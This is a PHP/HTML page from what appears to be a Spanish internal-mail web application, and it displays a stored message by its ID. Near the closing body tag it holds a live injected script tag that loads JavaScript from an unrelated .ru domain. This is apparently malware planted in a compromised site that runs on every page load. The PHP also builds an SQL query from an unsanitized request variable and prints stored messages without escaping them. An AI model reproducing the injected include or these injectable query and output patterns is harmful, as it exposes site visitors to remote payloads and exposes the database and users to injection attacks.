File: /home/asjudine/www/acorreos/Mostrar_Texto.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin título</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.estilo { background-color:#FFCCCC; border:'border-width' 'border-style' 'color'; border-color:#0000FF; font-family:Arial, Helvetica, sans-serif;}
body {
background-image: url();
}
.Estilo31 {
font-family: "Arial Narrow";
color: #990000;
font-size: 14px;
}
-->
</style></head>
<script language="javascript">
<!--
// extraído de MJavaScript (http://usuarios.lycos.es/Mjavas/NMjava/Mjava.htm)
var msg = "Función anulada.";
function RClick(boton){
if (document.layers && boton.which == 3) {
alert(msg); return false; }
if (document.all && event.button == 2 || event.button == 3) {
alert(msg); return false; }
}
document.onmousedown = RClick
//--></script>
<body topmargin="0" rightmargin="0" marginheight="0" marginwidth="0">
<table width="630" border="1" cellspacing="0" cellpadding="0">
<tr>
<td class="estilo" align="center">VISUALIZACION TEXTO DE LA RESPUESTA</td>
</tr>
</table>
<?php
require_once("../Conectarse.php");
global $dbi;
$msmsql="select Mensaje from correo_interno Where Id = $Contador";
$result = mysql_query($msmsql, $dbi);
$num_rows = mysql_num_rows($result);
echo "<TABLE BORDER=\"0\">\n";
for($i = 0; $i < $num_rows; $i++)
{
$row = mysql_fetch_array($result);
if($i % $columns == 0)
{
//SI NO HAY RESTO SIGNIFICA QUE INICIAMOS UNA NUEVA FILA
echo "<TR>\n";
}
echo "<TD width=520 class=Estilo31><div align='justify'>" . $row['Mensaje'] . "</div></TD>\n";
if(($i % $columns) == ($columns - 1) || ($i + 1) == $num_rows)
{
echo "</TR>\n";
}
}
echo "</TABLE>\n";
?>
<p>
<SCRIPT LANGUAGE="JavaScript">
<!--
function imprimir() {
if (window.print)
window.print()
else
alert("Disculpe, su navegador no soporta esta opción.");
}
// -->
</SCRIPT>
<A HREF="javascript:imprimir()">Imprimir Respuesta</A></p>
</p>
<p> </p>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>